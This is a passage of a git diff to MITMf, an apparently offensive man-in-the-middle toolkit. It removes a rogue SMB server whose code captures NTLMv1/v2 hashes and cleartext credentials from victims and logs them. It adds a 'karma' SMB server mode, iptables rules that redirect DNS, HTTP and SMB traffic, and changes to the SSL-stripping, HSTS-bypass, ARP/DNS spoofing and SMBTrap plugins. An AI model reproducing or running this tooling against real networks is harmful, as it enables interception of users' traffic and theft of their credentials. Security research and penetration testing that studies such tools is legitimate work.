"\x00\x00"), - ("Server", "SMB-TOOLKIT"), - ("ServerNull", "\x00\x00"), - ]) - - def calculate(self): - ##Convert first.. - self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') - self.fields["Server"] = self.fields["Server"].encode('utf-16le') - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) - self.fields["Bcc"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) - - ###### Andxoffset calculation. - CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen - - self.fields["Andxoffset"] = struct.pack(" 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 60: - outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt" - NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack(' 25: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - responder_logger.info('[+]SMB-NTLMv2 hash captured from :%s'%(client)) - outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt" - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() - ParseShare(data) - WriteData(outfile,Writehash, Username+"::"+Domain) - responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) - if NthashLen == 24: - responder_logger.info('[+]SMB-NTLMv1 hash captured from :%s'%(client)) - outfile = "./logs/responder/SMB-NTLMv1-Client-"+client+".txt" - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal - ParseShare(data) - WriteData(outfile,writehash, Username+"::"+Domain) - responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) - responder_logger.info('[+]SMB-NTLMv1 Username:%s'%(Username)) - responder_logger.info('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) - except Exception: - raise - -def IsNT4ClearTxt(data): - HeadLen = 36 - Flag2 = data[14:16] - if Flag2 == "\x03\x80": - SmbData = data[HeadLen+14:] - WordCount = data[HeadLen] - ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": - PassLen = struct.unpack(' 2: - Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") - User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - #print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) - responder_logger.info("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) - -#SMB Server class, NTLMSSP -class SMB1(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(1) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - #Customize SMB answer. - head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - t.calculate() - final = t - packet0 = str(head)+str(final) - buffer0 = longueur(packet0)+packet0 - self.request.send(buffer0) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - IsNT4ClearTxt(data) - head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) - t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(4096) - if data[8:10] == "\x73\x00": - if Is_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. - final = SMBSessEmpty() - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseSMBHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = SMBSession2Accept() - final.calculate() - packet2 = str(head)+str(final) - buffer2 = longueur(packet2)+packet2 - self.request.send(buffer2) - data = self.request.recv(1024) - ##Tree Connect IPC Answer - if data[8:10] == "\x75\x00": - ParseShare(data) - head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) - t = SMBTreeData() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Tree Disconnect. - if data[8:10] == "\x71\x00": - head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##NT_CREATE Access Denied. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Trans2 Access Denied. - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##LogOff. - if data[8:10] == "\x74\x00": - head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x02\xff\x00\x27\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - pass #no need to print errors.. - -#SMB Server class, old version. -class SMB1LM(BaseRequestHandler): - - def handle(self): - try: - self.request.settimeout(0.5) - data = self.request.recv(1024) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseLMNTHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - self.request.close() - pass \ No newline at end of file diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index d413926..8a86477 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -1,81 +1,85 @@ import logging import sys import threading +import os + from socket import error as socketerror from impacket import version, smbserver, LOG +from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown -LOG.setLevel(logging.INFO) -LOG.propagate = False -logging.getLogger('smbserver').setLevel(logging.INFO) -logging.getLogger('impacket').setLevel(logging.INFO) - -formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -fileHandler = logging.FileHandler("./logs/mitmf.log") -streamHandler = logging.StreamHandler(sys.stdout) -fileHandler.setFormatter(formatter) -streamHandler.setFormatter(formatter) -LOG.addHandler(fileHandler) -LOG.addHandler(streamHandler) +#Logging is something I'm going to have to clean up in the future class SMBserver(ConfigWatcher): + _instance = None impacket_ver = version.VER_MINOR + server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() + smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] + smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) - def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): - + @staticmethod + def getInstance(): + if SMBserver._instance == None: + SMBserver._instance = SMBserver() + + return SMBserver._instance + + def parseConfig(self): + server = None try: - self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) - self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) + if self.server_type == 'normal': + + formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.configureLogging(formatter) + + server = smbserver.SimpleSMBServer(listenPort=self.smb_port) + + for share in self.config["MITMf"]["SMB"]["Shares"]: + path = self.config["MITMf"]["SMB"]["Shares"][share]['path'] + readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower() + server.addShare(share.upper(), path, readOnly=readonly) + + server.setSMBChallenge(self.smbchallenge) + server.setLogFile('') + + elif self.server_type == 'karma': + + formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.configureLogging(formatter) + + server = KarmaSMBServer(self.smbchallenge, self.smb_port) + server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"] + + for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems(): + server.extensions[extension.upper()] = os.path.normpath(path) + + else: + shutdown("\n[-] Invalid SMB server type specified in config file!") + + return server + except socketerror as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port 445: port already in use") + shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(listenPort)) + + def configureLogging(self, formatter): + #yes I know this looks awful, yuck + + LOG.setLevel(logging.INFO) + LOG.propagate = False + logging.getLogger('smbserver').setLevel(logging.INFO) + logging.getLogger('impacket').setLevel(logging.INFO) + + fileHandler = logging.FileHandler("./logs/mitmf.log") + streamHandler = logging.StreamHandler(sys.stdout) + fileHandler.setFormatter(formatter) + streamHandler.setFormatter(formatter) + LOG.addHandler(fileHandler) + LOG.addHandler(streamHandler) def start(self): - t = threading.Thread(name='SMBserver', target=self.server.start) + t = threading.Thread(name='SMBserver', target=self.parseConfig().start) t.setDaemon(True) t.start() - -""" -class SMBserver(Thread): - def __init__(self): - Thread.__init__(self) - - def run(self): - # Here we write a mini config for the server - smbConfig = ConfigParser.ConfigParser() - smbConfig.add_section('global') - smbConfig.set('global','server_name','server_name') - smbConfig.set('global','server_os','UNIX') - smbConfig.set('global','server_domain','WORKGROUP') - smbConfig.set('global','log_file', 'None') - smbConfig.set('global','credentials_file','') - - # Let's add a dummy share - #smbConfig.add_section(DUMMY_SHARE) - #smbConfig.set(DUMMY_SHARE,'comment','') - #smbConfig.set(DUMMY_SHARE,'read only','no') - #smbConfig.set(DUMMY_SHARE,'share type','0') - #smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) - - # IPC always needed - smbConfig.add_section('IPC$') - smbConfig.set('IPC$','comment','') - smbConfig.set('IPC$','read only','yes') - smbConfig.set('IPC$','share type','3') - smbConfig.set('IPC$','path') - - self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) - - self.smb.processConfigFile() - try: - self.smb.serve_forever() - except: - pass - - def stop(self): - self.smb.socket.close() - self.smb.server_close() - self._Thread__stop() -""" \ No newline at end of file diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 0126675..8e9525c 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -72,7 +72,12 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': try: - mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + + if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]): + mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) + else: + mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + except Exception as e: mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) @@ -120,10 +125,12 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - try: - version, code, message = self.plugins.hook() - except ValueError: - pass + + values = self.plugins.hook() + + version = values['version'] + code = values['code'] + message = values['message'] mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/core/utils.py b/core/utils.py index 9aa8898..42a9aa2 100644 --- a/core/utils.py +++ b/core/utils.py @@ -69,8 +69,9 @@ class IpTables: _instance = None def __init__(self): - self.dns = False - self.http = False + self.dns = False + self.http = False + self.smb = False @staticmethod def getInstance(): @@ -90,11 +91,16 @@ class IpTables: os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True - def DNS(self, ip, port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}:{}".format(ip, port)) - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to {}:{}'.format(ip, port)) + def DNS(self, dns_redir_port): + mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True + def SMB(self, smb_redir_port): + mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) + self.smb = True + class Banners: banner1 = """ diff --git a/mitmf.py b/mitmf.py index af53f6f..efa0f8d 100755 --- a/mitmf.py +++ b/mitmf.py @@ -179,12 +179,12 @@ print "|_ DNSChef v{} online".format(DNSChef.version) #Start the HTTP Server from core.servers.http.HTTPServer import HTTPServer HTTPServer.getInstance().start() -print "|_ HTTPserver online" +print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) -SMBserver().start() +print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) +SMBserver.getInstance().start() #start the reactor reactor.run() diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 157c1d5..aba0d5d 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -17,7 +17,7 @@ class SMBTrap(Plugin): self.ourip = SystemConfig.getIP(options.interface) def serverResponseStatus(self, request, version, code, message): - return (version, 302, "Found") + return {"request": request, "version": version, "code": 302, "message": "Found"} def serverHeaders(self, response, request): mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 2acda8c..b346b35 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -22,7 +22,6 @@ import sys import logging from plugins.plugin import Plugin -from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef @@ -37,11 +36,10 @@ class HSTSbypass(Plugin): def initialize(self, options): self.options = options self.manualiptables = options.manualiptables - ip_address = SystemConfig.getIP(options.interface) if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port']) + IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass() diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 02fcda9..b4fd9ca 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -49,7 +49,7 @@ class Spoof(Plugin): #Makes scapy more verbose debug = False if options.log_level == 'debug': - debug = True + debug = False if options.arp: @@ -98,9 +98,7 @@ class Spoof(Plugin): if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.myip, self.dnscfg['port']) - - DNSChef.getInstance().loadRecords(self.dnscfg) + IpTables.getInstance().DNS(self.dnscfg['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") @@ -108,7 +106,6 @@ class Spoof(Plugin): SystemConfig.setIpForwarding(1) if not options.manualiptables: - IpTables.getInstance().Flush() if IpTables.getInstance().http is False: IpTables.getInstance().HTTP(options.listen) diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py index 4fd212c..d3b0806 100644 --- a/plugins/TestPlugin.py +++ b/plugins/TestPlugin.py @@ -1,6 +1,5 @@ from plugins.plugin import Plugin -from core.servers.http.HTTPServer import HTTPServer -import tornado.web +from core.servers.http.HTTPServer import HTTPServer, HTTPHandler class TestPlugin(Plugin): name = "testplugin" @@ -10,9 +9,8 @@ class TestPlugin(Plugin): has_opts = False def initialize(self, options): - HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler) + HTTPServer.getInstance().addHandler(r"/test/.*", WebServer) -class MainHandler(tornado.web.RequestHandler): +class WebServer(HTTPHandler): def get(self): - print self.request - self.write("Hello World!") + self.write("It works MOFO!") \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 1d9b82b..053adc4 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -46,7 +46,7 @@ class Plugin(ConfigWatcher, object): ''' Handles server response HTTP version, code and message ''' - return (version, code, message) + return {"request": request, "version": version, "code": code, "message": message} def serverResponse(self, response, request, data): '''